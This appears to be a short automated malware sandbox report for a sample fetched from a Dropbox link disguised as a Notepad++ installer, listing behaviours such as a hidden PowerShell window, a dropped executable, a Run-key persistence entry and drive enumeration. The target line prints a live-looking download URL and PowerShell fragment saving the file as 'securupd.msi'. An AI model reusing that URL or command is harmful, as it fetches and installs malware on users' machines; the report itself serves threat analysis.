General

  • Target
    https://www.dropbox.com/scl/fi/n5l4qo68ac2k2ap86x03g/notepadpp.msi?rlkey=mlshxjyusg0hg2a46cdcvb22k&st=oas2wou2&dl=1' -OutFile "$env:appdata\securupd.msi"
  • Sample260620-fxkmesev6s

Malware Config

Targets

    • Target
      https://www.dropbox.com/scl/fi/n5l4qo68ac2k2ap86x03g/notepadpp.msi?rlkey=mlshxjyusg0hg2a46cdcvb22k&st=oas2wou2&dl=1' -OutFile "$env:appdata\securupd.msi"
    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Executes dropped EXE

    • Adds Run key to start application

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

MITRE ATT&CK Enterprise v16

Tasks